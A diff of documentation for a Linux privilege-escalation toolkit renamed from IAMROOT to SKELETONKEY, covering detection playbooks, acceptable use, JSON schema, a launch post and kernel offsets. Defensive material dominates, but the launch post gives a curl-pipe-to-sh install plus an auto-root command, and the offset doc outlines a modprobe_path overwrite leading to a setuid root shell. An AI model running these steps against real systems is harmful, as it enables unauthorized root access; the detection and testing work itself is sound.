sudo skeletonkey --cleanup copy_fail
|
||||
```
|
||||
|
||||
Modules without `--mitigate` (dirty_pipe, entrybleed, pwnkit) report
|
||||
@@ -131,7 +131,7 @@ The `--scan --json` output is one-line-per-host friendly:
|
||||
```bash
|
||||
# scan a host list via ssh
|
||||
for h in $(cat fleet.txt); do
|
||||
ssh $h sudo iamroot --scan --json | jq --arg h "$h" '. + {host: $h}'
|
||||
ssh $h sudo skeletonkey --scan --json | jq --arg h "$h" '. + {host: $h}'
|
||||
done | jq -s . > fleet-scan-$(date +%F).json
|
||||
|
||||
# group by vulnerability
|
||||
@@ -148,9 +148,9 @@ modification.
|
||||
|
||||
| Rule | False-positive shape |
|
||||
|---|---|
|
||||
| `iamroot-copy-fail-afalg` | strongSwan and IPsec daemons use AF_ALG legitimately — scope with `-F auid=` to exclude service accounts |
|
||||
| `iamroot-dirty-pipe-splice` | nginx, HAProxy, kTLS use splice() heavily — scope with `-F gid!=33 -F gid!=99` for those service accounts |
|
||||
| `iamroot-pwnkit-execve` | gnome-software, polkit's own dispatcher legitimately exec pkexec — scope by parent process if you can correlate |
|
||||
| `skeletonkey-copy-fail-afalg` | strongSwan and IPsec daemons use AF_ALG legitimately — scope with `-F auid=` to exclude service accounts |
|
||||
| `skeletonkey-dirty-pipe-splice` | nginx, HAProxy, kTLS use splice() heavily — scope with `-F gid!=33 -F gid!=99` for those service accounts |
|
||||
| `skeletonkey-pwnkit-execve` | gnome-software, polkit's own dispatcher legitimately exec pkexec — scope by parent process if you can correlate |
|
||||
|
||||
The shipped rules are starting points. Tune per environment.
|
||||
|
||||
|
||||
+53
-53
@@ -1,6 +1,6 @@
|
||||
# IAMROOT detection playbook
|
||||
# SKELETONKEY detection playbook
|
||||
|
||||
Operational guide for blue teams using IAMROOT defensively. Pairs
|
||||
Operational guide for blue teams using SKELETONKEY defensively. Pairs
|
||||
with `docs/DEFENDERS.md` (the "what" reference) — this is the "how to
|
||||
make it part of your daily ops" guide.
|
||||
|
||||
@@ -8,15 +8,15 @@ make it part of your daily ops" guide.
|
||||
|
||||
```
|
||||
┌─────────────┐
|
||||
│ inventory │ ← iamroot --list (what's bundled?)
|
||||
│ inventory │ ← skeletonkey --list (what's bundled?)
|
||||
└──────┬──────┘
|
||||
▼
|
||||
┌─────────────┐
|
||||
│ scan │ ← iamroot --scan --json (what am I vulnerable to?)
|
||||
│ scan │ ← skeletonkey --scan --json (what am I vulnerable to?)
|
||||
└──────┬──────┘
|
||||
▼
|
||||
┌─────────────┐
|
||||
│ fleet scan │ ← iamroot-fleet-scan.sh hosts.txt
|
||||
│ fleet scan │ ← skeletonkey-fleet-scan.sh hosts.txt
|
||||
└──────┬──────┘
|
||||
▼
|
||||
┌────────────┼────────────┐
|
||||
@@ -29,7 +29,7 @@ make it part of your daily ops" guide.
|
||||
└────────────┼────────────┘
|
||||
▼
|
||||
┌─────────────┐
|
||||
│ monitor │ ← ausearch -k iamroot-* / SIEM alerts
|
||||
│ monitor │ ← ausearch -k skeletonkey-* / SIEM alerts
|
||||
└─────────────┘
|
||||
```
|
||||
|
||||
@@ -39,17 +39,17 @@ make it part of your daily ops" guide.
|
||||
|
||||
```bash
|
||||
# Daily/weekly hygiene check
|
||||
sudo iamroot --scan
|
||||
sudo skeletonkey --scan
|
||||
|
||||
# If anything's VULNERABLE, deploy detections + apply mitigation
|
||||
sudo iamroot --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-iamroot.rules
|
||||
sudo skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||
sudo augenrules --load
|
||||
sudo iamroot --mitigate copy_fail # or whichever module fired
|
||||
sudo skeletonkey --mitigate copy_fail # or whichever module fired
|
||||
```
|
||||
|
||||
### Small fleet (~10-100 hosts, SSH-reachable)
|
||||
|
||||
Use `tools/iamroot-fleet-scan.sh`:
|
||||
Use `tools/skeletonkey-fleet-scan.sh`:
|
||||
|
||||
```bash
|
||||
# Hosts list — one per line; user@host:port supported
|
||||
@@ -61,8 +61,8 @@ ops@db-01:2222
|
||||
EOF
|
||||
|
||||
# Scan; binary scp'd, run, cleaned up. Output is one JSON doc.
|
||||
./iamroot-fleet-scan.sh \
|
||||
--binary ./iamroot \
|
||||
./skeletonkey-fleet-scan.sh \
|
||||
--binary ./skeletonkey \
|
||||
--ssh-key ~/.ssh/ops_key \
|
||||
--parallel 8 \
|
||||
hosts.txt > fleet-scan-$(date +%F).json
|
||||
@@ -95,7 +95,7 @@ Output shape:
|
||||
|
||||
### Larger fleet (>100 hosts)
|
||||
|
||||
`iamroot-fleet-scan.sh` is intentionally simple (parallel ssh). For
|
||||
`skeletonkey-fleet-scan.sh` is intentionally simple (parallel ssh). For
|
||||
fleets too large for SSH-fan-out, wrap it in your config-management
|
||||
tool of choice:
|
||||
|
||||
@@ -108,22 +108,22 @@ tool of choice:
|
||||
Sample Ansible task:
|
||||
|
||||
```yaml
|
||||
- name: scan with iamroot
|
||||
- name: scan with skeletonkey
|
||||
copy:
|
||||
src: iamroot
|
||||
dest: /tmp/iamroot
|
||||
src: skeletonkey
|
||||
dest: /tmp/skeletonkey
|
||||
mode: '0755'
|
||||
- name: run --scan --json
|
||||
command: /tmp/iamroot --scan --json --no-color
|
||||
command: /tmp/skeletonkey --scan --json --no-color
|
||||
register: scan
|
||||
changed_when: false
|
||||
failed_when: false # iamroot exit codes are semantic, not errors
|
||||
failed_when: false # skeletonkey exit codes are semantic, not errors
|
||||
- name: collect
|
||||
set_fact:
|
||||
iamroot_scan: "{{ scan.stdout | from_json }}"
|
||||
skeletonkey_scan: "{{ scan.stdout | from_json }}"
|
||||
- name: cleanup
|
||||
file:
|
||||
path: /tmp/iamroot
|
||||
path: /tmp/skeletonkey
|
||||
state: absent
|
||||
```
|
||||
|
||||
@@ -133,46 +133,46 @@ Sample Ansible task:
|
||||
|
||||
```
|
||||
# splunk input config (inputs.conf)
|
||||
[script:///opt/iamroot/iamroot-cron-scan.sh]
|
||||
[script:///opt/skeletonkey/skeletonkey-cron-scan.sh]
|
||||
interval = 86400
|
||||
source = iamroot
|
||||
sourcetype = iamroot:scan
|
||||
source = skeletonkey
|
||||
sourcetype = skeletonkey:scan
|
||||
```
|
||||
|
||||
`iamroot-cron-scan.sh`:
|
||||
`skeletonkey-cron-scan.sh`:
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
/usr/local/bin/iamroot --scan --json --no-color
|
||||
/usr/local/bin/skeletonkey --scan --json --no-color
|
||||
```
|
||||
|
||||
Search the indexed events:
|
||||
|
||||
```spl
|
||||
index=iamroot sourcetype="iamroot:scan" modules{}.result=VULNERABLE
|
||||
index=skeletonkey sourcetype="skeletonkey:scan" modules{}.result=VULNERABLE
|
||||
| stats count by host modules{}.cve
|
||||
```
|
||||
|
||||
### Elastic / OpenSearch
|
||||
|
||||
Filebeat module reading the per-host scan JSON files (one per day),
|
||||
indexed into an `iamroot-*` index pattern. Standard Kibana
|
||||
indexed into an `skeletonkey-*` index pattern. Standard Kibana
|
||||
visualization on `modules.cve` over time tracks vulnerability lifecycle.
|
||||
|
||||
### Sigma → your platform
|
||||
|
||||
```bash
|
||||
# Ship Sigma rules into your platform
|
||||
iamroot --detect-rules --format=sigma > /etc/sigma/iamroot.yml
|
||||
skeletonkey --detect-rules --format=sigma > /etc/sigma/skeletonkey.yml
|
||||
# Convert to your target (Sentinel, Elastic, etc.) via sigmac
|
||||
sigmac -t elastic /etc/sigma/iamroot.yml
|
||||
sigmac -t elastic /etc/sigma/skeletonkey.yml
|
||||
```
|
||||
|
||||
## Day-to-day operational shape
|
||||
|
||||
### What "good" looks like in the SIEM
|
||||
|
||||
- Daily `iamroot --scan --json` from every host indexed
|
||||
- Daily `skeletonkey --scan --json` from every host indexed
|
||||
- Trend dashboard: count of VULNERABLE results by CVE over time
|
||||
- Goal: every VULNERABLE → OK transition within SLA (e.g., 14 days for
|
||||
patched-mainline bugs, 24h for actively-exploited)
|
||||
@@ -181,22 +181,22 @@ sigmac -t elastic /etc/sigma/iamroot.yml
|
||||
|
||||
### Auditd events from the embedded rules
|
||||
|
||||
After deploying `iamroot --detect-rules --format=auditd`:
|
||||
After deploying `skeletonkey --detect-rules --format=auditd`:
|
||||
|
||||
```bash
|
||||
# By module key
|
||||
sudo ausearch -k iamroot-copy-fail -ts today
|
||||
sudo ausearch -k iamroot-dirty-pipe -ts today
|
||||
sudo ausearch -k iamroot-pwnkit -ts today
|
||||
sudo ausearch -k iamroot-nf-tables-userns -ts today
|
||||
sudo ausearch -k iamroot-overlayfs -ts today
|
||||
sudo ausearch -k skeletonkey-copy-fail -ts today
|
||||
sudo ausearch -k skeletonkey-dirty-pipe -ts today
|
||||
sudo ausearch -k skeletonkey-pwnkit -ts today
|
||||
sudo ausearch -k skeletonkey-nf-tables-userns -ts today
|
||||
sudo ausearch -k skeletonkey-overlayfs -ts today
|
||||
|
||||
# Anything iamroot-tagged in the last hour
|
||||
sudo ausearch -k 'iamroot-*' -ts recent
|
||||
# Anything skeletonkey-tagged in the last hour
|
||||
sudo ausearch -k 'skeletonkey-*' -ts recent
|
||||
|
||||
# Forward to syslog (rsyslog example)
|
||||
# /etc/rsyslog.d/iamroot.conf:
|
||||
:msg, contains, "iamroot-" @@your-siem.example.com:514
|
||||
# /etc/rsyslog.d/skeletonkey.conf:
|
||||
:msg, contains, "skeletonkey-" @@your-siem.example.com:514
|
||||
```
|
||||
|
||||
### When a VULNERABLE result fires
|
||||
@@ -208,11 +208,11 @@ A scan reports VULNERABLE for module X
|
||||
│
|
||||
├── Q: Can I patch the underlying kernel / package?
|
||||
│ ├── YES → schedule patch window. In the meantime:
|
||||
│ │ iamroot --mitigate X (if supported)
|
||||
│ │ skeletonkey --mitigate X (if supported)
|
||||
│ │ Verify auditd rule for X is loaded.
|
||||
│ │ Monitor for the rule key.
|
||||
│ └── NO (legacy LTS, embedded device, prod freeze) →
|
||||
│ iamroot --mitigate X (essential)
|
||||
│ skeletonkey --mitigate X (essential)
|
||||
│ Compensating control: tighten LSM (SELinux/AppArmor)
|
||||
│ Document in risk register
|
||||
│
|
||||
@@ -238,7 +238,7 @@ If you applied a mitigation and now need to revert (e.g., the kernel
|
||||
patch has rolled out fleet-wide):
|
||||
|
||||
```bash
|
||||
sudo iamroot --cleanup copy_fail
|
||||
sudo skeletonkey --cleanup copy_fail
|
||||
# OR manually:
|
||||
sudo rm /etc/modprobe.d/dirtyfail-mitigations.conf
|
||||
sudo rm /etc/sysctl.d/99-dirtyfail-mitigations.conf
|
||||
@@ -249,11 +249,11 @@ sudo rm /etc/sysctl.d/99-dirtyfail-mitigations.conf
|
||||
|
||||
| Rule key | False positive | Fix |
|
||||
|---|---|---|
|
||||
| `iamroot-copy-fail-afalg` | strongSwan, libcrypto using kernel crypto | `-F auid=` exclude service account UIDs |
|
||||
| `iamroot-dirty-pipe-splice` | nginx, HAProxy, kTLS | `-F gid!=33 -F gid!=99` exclude web service accounts |
|
||||
| `iamroot-pwnkit-execve` | gnome-software, polkit's own re-exec | Correlate by parent process; pkexec via gnome dbus is benign |
|
||||
| `iamroot-nf-tables-userns` | docker rootless, podman, snap confined apps | Whitelist known userns-using service GIDs |
|
||||
| `iamroot-overlayfs` | docker / containerd mounting overlayfs as root | The rule is intended for unprivileged-userns overlayfs mounts; add `-F auid>=1000` |
|
||||
| `skeletonkey-copy-fail-afalg` | strongSwan, libcrypto using kernel crypto | `-F auid=` exclude service account UIDs |
|
||||
| `skeletonkey-dirty-pipe-splice` | nginx, HAProxy, kTLS | `-F gid!=33 -F gid!=99` exclude web service accounts |
|
||||
| `skeletonkey-pwnkit-execve` | gnome-software, polkit's own re-exec | Correlate by parent process; pkexec via gnome dbus is benign |
|
||||
| `skeletonkey-nf-tables-userns` | docker rootless, podman, snap confined apps | Whitelist known userns-using service GIDs |
|
||||
| `skeletonkey-overlayfs` | docker / containerd mounting overlayfs as root | The rule is intended for unprivileged-userns overlayfs mounts; add `-F auid>=1000` |
|
||||
|
||||
## Pre-patch quarantine pattern
|
||||
|
||||
@@ -261,13 +261,13 @@ If a CVE is in active exploitation and you can't patch immediately:
|
||||
|
||||
```bash
|
||||
# Stage 1: detect
|
||||
sudo iamroot --scan --json | jq '.modules[] | select(.cve == "CVE-XXXX")'
|
||||
sudo skeletonkey --scan --json | jq '.modules[] | select(.cve == "CVE-XXXX")'
|
||||
|
||||
# Stage 2: mitigate (where supported)
|
||||
sudo iamroot --mitigate <module>
|
||||
sudo skeletonkey --mitigate <module>
|
||||
|
||||
# Stage 3: monitor — auditd rules already deployed
|
||||
sudo ausearch -k 'iamroot-*' -ts today | grep <module>
|
||||
sudo ausearch -k 'skeletonkey-*' -ts today | grep <module>
|
||||
|
||||
# Stage 4: contain — temporarily restrict the trigger surface
|
||||
# e.g., for nf_tables CVE-2024-1086:
|
||||
@@ -281,7 +281,7 @@ sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=1
|
||||
|
||||
## Maintenance contract
|
||||
|
||||
When IAMROOT ships a new module:
|
||||
When SKELETONKEY ships a new module:
|
||||
|
||||
1. CI test passes on at least one vulnerable + patched kernel pair
|
||||
2. Detection rules ship alongside (auditd + sigma minimum)
|
||||
@@ -293,7 +293,7 @@ Treat these as the SLA for any blue-team-facing deliverable.
|
||||
|
||||
## When you find a new false positive
|
||||
|
||||
File an issue at https://github.com/KaraZajac/IAMROOT/issues with:
|
||||
File an issue at https://github.com/KaraZajac/SKELETONKEY/issues with:
|
||||
- The exact ausearch line that fired
|
||||
- The legitimate process that produced it
|
||||
- Distro / kernel version
|
||||
|
||||
+13
-13
@@ -2,24 +2,24 @@
|
||||
|
||||
## Acceptable use
|
||||
|
||||
IAMROOT is intended for:
|
||||
SKELETONKEY is intended for:
|
||||
|
||||
1. **Authorized red-team / pentest engagements.** You have a written
|
||||
scope, signed by someone who can authorize testing on the target
|
||||
systems.
|
||||
2. **Defensive teams testing detection coverage.** You're using
|
||||
IAMROOT in a lab to verify your auditd/sigma/falco rules fire as
|
||||
SKELETONKEY in a lab to verify your auditd/sigma/falco rules fire as
|
||||
expected.
|
||||
3. **Security researchers studying historical LPEs.** You're reading
|
||||
the code, running it in your own VMs, learning how the primitives
|
||||
actually work end-to-end.
|
||||
4. **Build engineers verifying patch coverage.** You're running
|
||||
`iamroot --scan` against your fleet's golden images to confirm
|
||||
`skeletonkey --scan` against your fleet's golden images to confirm
|
||||
each known CVE shows up as patched.
|
||||
|
||||
## Not-acceptable use
|
||||
|
||||
IAMROOT should not be used:
|
||||
SKELETONKEY should not be used:
|
||||
|
||||
1. On systems you do not own and have not been authorized to test
|
||||
2. As part of unauthorized access to any system
|
||||
@@ -28,18 +28,18 @@ IAMROOT should not be used:
|
||||
4. To build a worm, scanner, or any tool that automatically targets
|
||||
systems at scale without per-target authorization
|
||||
|
||||
By using IAMROOT you assert that your use falls into the
|
||||
By using SKELETONKEY you assert that your use falls into the
|
||||
acceptable-use cases above.
|
||||
|
||||
## Why this is publishable
|
||||
|
||||
Every CVE bundled in IAMROOT is:
|
||||
Every CVE bundled in SKELETONKEY is:
|
||||
|
||||
- **Already patched** in upstream mainline kernel
|
||||
- **Already published** in NVD or distro security trackers
|
||||
- **Already covered** by existing public PoCs
|
||||
|
||||
IAMROOT does not introduce new offensive capability. It bundles,
|
||||
SKELETONKEY does not introduce new offensive capability. It bundles,
|
||||
documents, and CI-tests what is already public — and ships the
|
||||
detection signatures defenders need to spot it.
|
||||
|
||||
@@ -51,25 +51,25 @@ real defensive value through the detection-rule exports.
|
||||
|
||||
## Disclosure
|
||||
|
||||
If you find a bug in IAMROOT itself (incorrect detection, broken
|
||||
If you find a bug in SKELETONKEY itself (incorrect detection, broken
|
||||
exploit on a kernel where it should work, missing a backport in the
|
||||
range metadata): file a public GitHub issue.
|
||||
|
||||
If you find a **new 0-day kernel LPE while inspired by reading
|
||||
IAMROOT code**: please disclose it responsibly to the kernel
|
||||
SKELETONKEY code**: please disclose it responsibly to the kernel
|
||||
security team (`security@kernel.org`) and the affected distros
|
||||
*before* writing a public PoC. Once upstream patch ships and a CVE
|
||||
is assigned, IAMROOT will gladly accept the module.
|
||||
is assigned, SKELETONKEY will gladly accept the module.
|
||||
|
||||
## Persistence and stealth are out of scope
|
||||
|
||||
`--exploit-backdoor` in the copy_fail module overwrites a
|
||||
`/etc/passwd` line with a `uid=0` shell account. This is **overt**:
|
||||
|
||||
- The username is `iamroot` (was `dirtyfail`) — instantly identifiable
|
||||
- It's covered by the auditd rules IAMROOT ships
|
||||
- The username is `skeletonkey` (was `dirtyfail`) — instantly identifiable
|
||||
- It's covered by the auditd rules SKELETONKEY ships
|
||||
- `--cleanup-backdoor` restores the original line
|
||||
|
||||
If you're looking for evasion, persistence, or stealth: not here.
|
||||
Use a real C2 framework if you have authorization to do so. IAMROOT
|
||||
Use a real C2 framework if you have authorization to do so. SKELETONKEY
|
||||
stops at "demonstrate that the bug works."
|
||||
|
||||
@@ -0,0 +1,139 @@
|
||||
# SKELETONKEY JSON output schema
|
||||
|
||||
`skeletonkey --scan --json` (and `--auto --json`, planned) emit a
|
||||
single JSON object on **stdout**. All human-readable banner lines and
|
||||
per-module log chatter go to **stderr** in JSON mode — pipes to SIEMs
|
||||
and fleet aggregators get a clean machine-parseable document on
|
||||
stdout while operators still see diagnostics on stderr.
|
||||
|
||||
This document is the contract for that JSON. SKELETONKEY treats it
|
||||
as a stability commitment: new fields may appear in future releases,
|
||||
but existing field names and value types do not change without a
|
||||
major-version bump.
|
||||
|
||||
## Top-level object
|
||||
|
||||
```json
|
||||
{
|
||||
"version": "0.6.0",
|
||||
"modules": [ /* ... per-module entries ... */ ]
|
||||
}
|
||||
```
|
||||
|
||||
| Field | Type | Stability | Meaning |
|
||||
|------------|----------|------------|---------|
|
||||
| `version` | string | stable | The SKELETONKEY release that produced this document. Semver-ish (`MAJOR.MINOR.PATCH`). Consumers may use it to correlate with the corpus inventory in [`CVES.md`](../CVES.md). |
|
||||
| `modules` | array | stable | One entry per registered module, emitted in the order the dispatcher's `--list` reports them. Length grows monotonically as new modules land. |
|
||||
|
||||
## Per-module entry
|
||||
|
||||
```json
|
||||
{
|
||||
"name": "dirty_pipe",
|
||||
"cve": "CVE-2022-0847",
|
||||
"result": "OK"
|
||||
}
|
||||
```
|
||||
|
||||
| Field | Type | Stability | Meaning |
|
||||
|----------|--------|-----------|---------|
|
||||
| `name` | string | stable | The module's CLI identifier — what you pass to `--exploit <name>`. Lowercase, ASCII, `_`-delimited. Never changes for a given module across releases. |
|
||||
| `cve` | string | stable | The CVE identifier (`CVE-YYYY-NNNNN`), or `"VARIANT"` for sibling variants without their own CVE (e.g. `copy_fail_gcm`), or `"-"` for primitives like `entrybleed` that have a CVE-less role. |
|
||||
| `result` | string | stable | One of the `result` enum values below. |
|
||||
|
||||
## `result` enum
|
||||
|
||||
| Value | Exit code | Meaning |
|
||||
|----------------|-----------|---------|
|
||||
| `OK` | 0 | Module's `detect()` ran successfully. Host is **patched** for this CVE, or the bug class is not applicable here (predates the introduction, wrong arch, etc.). Safe to ignore for this host. |
|
||||
| `TEST_ERROR` | 1 | `detect()` could not decide — the host fingerprint is missing data, the version parser failed, or an internal probe errored. Treat as "no information; check manually." |
|
||||
| `VULNERABLE` | 2 | Host is **vulnerable** to this CVE per the module's detect logic (version-based and/or empirical active probe). `--exploit <name> --i-know` will attempt to land root. |
|
||||
| `EXPLOIT_FAIL` | 3 | Only ever returned by `--exploit`, never by `--scan`. Exploit was attempted but did not land root. Diagnostic context goes to stderr. |
|
||||
| `PRECOND_FAIL` | 4 | A documented precondition is not met on this host — examples: unprivileged user namespaces disabled, AppArmor restriction on, sudo not installed, AF_RXRPC unavailable. The bug may exist on the kernel but the carrier path here is closed. |
|
||||
| `EXPLOIT_OK` | 5 | Only ever returned by `--exploit` / `--auto`. Root was achieved; for `--auto` mode this is the process exit code that drove the dispatcher into a root shell. |
|
||||
|
||||
## Process exit code semantics for `--scan`
|
||||
|
||||
The process exit code is the **worst (highest) result code** observed
|
||||
across all modules. This lets a SIEM treat the binary's exit code as
|
||||
a single-host alert level without re-parsing JSON:
|
||||
|
||||
| Exit code | Interpretation |
|
||||
|-----------|-----------------------------------------------------|
|
||||
| 0 | All modules `OK`. Host is patched for the corpus. |
|
||||
| 1 | At least one module returned `TEST_ERROR`. Investigate. |
|
||||
| 2 | At least one module returned `VULNERABLE`. Patch the host. |
|
||||
| 4 | At least one module returned `PRECOND_FAIL` (and none worse). Host has reduced attack surface but is not necessarily safe. |
|
||||
|
||||
(Process exit codes 3 and 5 are exclusive to the `--exploit` /
|
||||
`--auto` modes and never appear in `--scan` output.)
|
||||
|
||||
## Example: invoking + parsing
|
||||
|
||||
```bash
|
||||
# capture pure JSON
|
||||
skeletonkey --scan --json --no-color > host-$(hostname).json 2> /dev/null
|
||||
|
||||
# any vulnerable modules?
|
||||
jq -e '.modules[] | select(.result == "VULNERABLE") | .name' host-*.json
|
||||
|
||||
# fleet roll-up — modules vulnerable across the fleet, by frequency
|
||||
jq -s 'map(.modules[] | select(.result == "VULNERABLE") | .name)
|
||||
| flatten | group_by(.) | map({mod: .[0], count: length})
|
||||
| sort_by(-.count)' host-*.json
|
||||
```
|
||||
|
||||
`jq -e` exits non-zero when its selector matches nothing, giving the
|
||||
fleet runner a per-host "any-vulnerable" boolean without parsing the
|
||||
document.
|
||||
|
||||
## Stability promises
|
||||
|
||||
**Stable across non-major releases:**
|
||||
|
||||
- Field names listed in the tables above (`version`, `modules`, `name`,
|
||||
`cve`, `result`).
|
||||
- The `result` enum string set. New result strings cannot appear
|
||||
without a major version bump.
|
||||
- The `modules` array containing exactly one entry per registered
|
||||
module.
|
||||
- Exit-code semantics for `--scan`.
|
||||
|
||||
**May change without notice:**
|
||||
|
||||
- The `modules` array length, ordering, and contents (new modules are
|
||||
added regularly; ordering follows registration order which is
|
||||
stable per release but not a contract).
|
||||
- Whitespace / formatting of the JSON itself (consumers MUST parse,
|
||||
not regex).
|
||||
- Field values for `cve` (a stub variant could gain a real CVE later).
|
||||
|
||||
**May be added in future minor versions:**
|
||||
|
||||
- New per-module fields (e.g. `family`, `summary`, `safety_rank`,
|
||||
`kernel_range`). Consumers MUST ignore unknown fields.
|
||||
- New top-level fields (e.g. `host_fingerprint`, `scan_started_at`,
|
||||
`schema_version`). Consumers MUST ignore unknown fields.
|
||||
- A `--scan --active --json` output may grow per-probe verdict
|
||||
metadata under a new `probe` sub-object.
|
||||
|
||||
## Recommended consumer pattern
|
||||
|
||||
```python
|
||||
import json, subprocess, sys
|
||||
|
||||
doc = json.loads(subprocess.check_output(
|
||||
["skeletonkey", "--scan", "--json", "--no-color"],
|
||||
stderr=subprocess.DEVNULL,
|
||||
))
|
||||
|
||||
assert doc["version"], "missing top-level version"
|
||||
for mod in doc["modules"]:
|
||||
assert mod["name"] and mod["cve"] and mod["result"], \
|
||||
f"malformed module entry: {mod!r}"
|
||||
if mod["result"] == "VULNERABLE":
|
||||
print(f"{mod['name']} ({mod['cve']}): VULNERABLE", file=sys.stderr)
|
||||
```
|
||||
|
||||
Ignore unknown fields. Match `result` against the enum, but treat
|
||||
unknown strings as `TEST_ERROR`-equivalent (forward-compat).
|
||||
+102
@@ -0,0 +1,102 @@
|
||||
# SKELETONKEY — launch post
|
||||
|
||||
> Copy-pasteable for HN, lobste.rs, mastodon, blog. ~600 words.
|
||||
|
||||
---
|
||||
|
||||
## SKELETONKEY: a curated Linux LPE corpus with detection rules baked in
|
||||
|
||||
The Linux privilege-escalation space is fragmented. Single-CVE PoC
|
||||
repos go stale within months. `linux-exploit-suggester` tells you
|
||||
what *might* work but doesn't run anything. `auto-root-exploit` and
|
||||
`kernelpop` bundle exploits but ship no detection signatures and
|
||||
haven't been maintained in years.
|
||||
|
||||
**SKELETONKEY** is one curated binary that:
|
||||
|
||||
1. Fingerprints the host's kernel / distro / sudo / userland.
|
||||
2. Reports which of 28 bundled CVEs that host is still vulnerable
|
||||
to — covering 2016 through 2026.
|
||||
3. With explicit `--i-know` authorization, runs the safest one and
|
||||
gets you root.
|
||||
4. Ships matching **auditd + sigma rules** for every CVE so blue
|
||||
teams get the same coverage when they deploy it.
|
||||
|
||||
### One command
|
||||
|
||||
```bash
|
||||
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
|
||||
&& skeletonkey --auto --i-know
|
||||
```
|
||||
|
||||
`--auto` ranks vulnerable modules by **exploit safety** —
|
||||
structural escapes (no kernel state touched) first, then page-cache
|
||||
writes, then userspace cred-races, then kernel primitives, then
|
||||
kernel races last — and runs the safest match. If it fails it falls
|
||||
back gracefully and tells you the next candidates to try manually.
|
||||
|
||||
### What's in the corpus
|
||||
|
||||
- **Userspace LPE**: pwnkit (CVE-2021-4034), sudo Baron Samedit
|
||||
(CVE-2021-3156), sudoedit EDITOR escape (CVE-2023-22809)
|
||||
- **Page-cache writes**: dirty_pipe (CVE-2022-0847), dirty_cow
|
||||
(CVE-2016-5195), copy_fail family (CVE-2026-31431, 43284, 43500)
|
||||
- **Container/namespace**: cgroup_release_agent (CVE-2022-0492),
|
||||
overlayfs (CVE-2021-3493), overlayfs_setuid (CVE-2023-0386),
|
||||
fuse_legacy (CVE-2022-0185)
|
||||
- **Kernel primitives**: netfilter (4 CVEs from 2022→2024),
|
||||
af_packet (CVE-2017-7308, CVE-2020-14386), cls_route4
|
||||
(CVE-2022-2588), netfilter_xtcompat (CVE-2021-22555)
|
||||
- **Kernel races**: stackrot (CVE-2023-3269), af_unix_gc
|
||||
(CVE-2023-4622), Sequoia (CVE-2021-33909)
|
||||
- **Side channels**: EntryBleed kbase leak (CVE-2023-0458)
|
||||
- **Graphics**: vmwgfx DRM OOB (CVE-2023-2008)
|
||||
- **Userspace classic**: PTRACE_TRACEME (CVE-2019-13272)
|
||||
|
||||
Full inventory at
|
||||
[CVES.md](https://github.com/KaraZajac/SKELETONKEY/blob/main/CVES.md).
|
||||
|
||||
### The verified-vs-claimed bar
|
||||
|
||||
Most public PoC repos hardcode offsets for one kernel build and
|
||||
silently break elsewhere. SKELETONKEY refuses to ship fabricated
|
||||
offsets. Modules with a kernel primitive but no per-kernel
|
||||
cred-overwrite chain default to firing the primitive + grooming the
|
||||
slab + recording an empirical witness, then return
|
||||
`EXPLOIT_FAIL` honestly. The opt-in `--full-chain` engages the
|
||||
shared `modprobe_path` finisher with sentinel-arbitrated success
|
||||
(it only claims root when a setuid bash actually materializes).
|
||||
|
||||
When `--full-chain` needs kernel offsets, you populate them once on
|
||||
a target kernel via `skeletonkey --dump-offsets` (parses
|
||||
`/proc/kallsyms` or `/boot/System.map`) and either set env vars or
|
||||
upstream the entry to `core/offsets.c kernel_table[]` via PR.
|
||||
|
||||
### For each side of the house
|
||||
|
||||
- **Red team**: stop curating broken PoCs. One tested binary, fresh
|
||||
releases, honest scope reporting.
|
||||
- **Sysadmins**: one command, no SaaS, JSON output for CI gates.
|
||||
Fleet-scan tool included.
|
||||
- **Blue team**: `skeletonkey --detect-rules --format=auditd | sudo
|
||||
tee /etc/audit/rules.d/99-skeletonkey.rules` and you have coverage
|
||||
for every CVE in the bundle. Sigma + YARA + Falco output also
|
||||
supported.
|
||||
|
||||
### Status + roadmap
|
||||
|
||||
v0.5.0 today: 28 modules, all build clean on Debian 13 / kernel
|
||||
6.12, all refuse-on-patched verified. The embedded offset table is
|
||||
empty — operator-populated. Next: empirical validation on a
|
||||
multi-distro vuln-kernel VM matrix, then offset-table community
|
||||
seeding for common cloud builds.
|
||||
|
||||
MIT. Each module credits the original CVE reporter and PoC author
|
||||
in its `NOTICE.md`. The research credit belongs to the people who
|
||||
found the bugs; SKELETONKEY is the bundling layer.
|
||||
|
||||
**Repo:** https://github.com/KaraZajac/SKELETONKEY
|
||||
**Release:** https://github.com/KaraZajac/SKELETONKEY/releases/latest
|
||||
|
||||
Authorized testing only. Read [docs/ETHICS.md](ETHICS.md) before you
|
||||
point this at anything you don't own.
|
||||
+50
-23
@@ -1,20 +1,20 @@
|
||||
# IAMROOT — kernel offset resolution
|
||||
# SKELETONKEY — kernel offset resolution
|
||||
|
||||
The 7 🟡 PRIMITIVE modules each land a kernel-side primitive (heap-OOB
|
||||
write, slab UAF, etc.). The default `--exploit` returns
|
||||
`IAMROOT_EXPLOIT_FAIL` after the primitive fires — the verified-vs-claimed
|
||||
`SKELETONKEY_EXPLOIT_FAIL` after the primitive fires — the verified-vs-claimed
|
||||
bar means we don't claim root unless we empirically have it.
|
||||
|
||||
`--full-chain` engages the shared finisher (`core/finisher.{c,h}`) which
|
||||
converts the primitive to a real root pop via `modprobe_path` overwrite:
|
||||
|
||||
```
|
||||
attacker → arb_write(modprobe_path, "/tmp/iamroot-mp-<pid>.sh")
|
||||
→ execve("/tmp/iamroot-trig-<pid>") # unknown-format binary
|
||||
attacker → arb_write(modprobe_path, "/tmp/skeletonkey-mp-<pid>.sh")
|
||||
→ execve("/tmp/skeletonkey-trig-<pid>") # unknown-format binary
|
||||
→ kernel call_modprobe() # spawns modprobe_path as init
|
||||
→ /tmp/iamroot-mp-<pid>.sh runs as root
|
||||
→ cp /bin/bash /tmp/iamroot-pwn-<pid>; chmod 4755 /tmp/iamroot-pwn-<pid>
|
||||
→ caller exec /tmp/iamroot-pwn-<pid> -p
|
||||
→ /tmp/skeletonkey-mp-<pid>.sh runs as root
|
||||
→ cp /bin/bash /tmp/skeletonkey-pwn-<pid>; chmod 4755 /tmp/skeletonkey-pwn-<pid>
|
||||
→ caller exec /tmp/skeletonkey-pwn-<pid> -p
|
||||
→ root shell
|
||||
```
|
||||
|
||||
